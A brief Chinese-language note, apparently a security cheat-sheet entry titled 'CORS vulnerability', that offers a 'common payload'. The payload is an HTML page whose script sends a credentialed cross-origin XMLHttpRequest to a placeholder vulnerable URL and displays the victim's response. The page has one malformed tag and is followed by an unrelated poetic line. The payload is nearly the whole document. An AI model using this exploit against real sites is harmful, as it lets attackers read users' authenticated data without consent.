cors漏洞
跨站资源共享cors
常用payload:
<!DOCTYPE html>
<html>
<body>
div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "vuln-url", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
即使没有月亮,心中也是一片皎洁。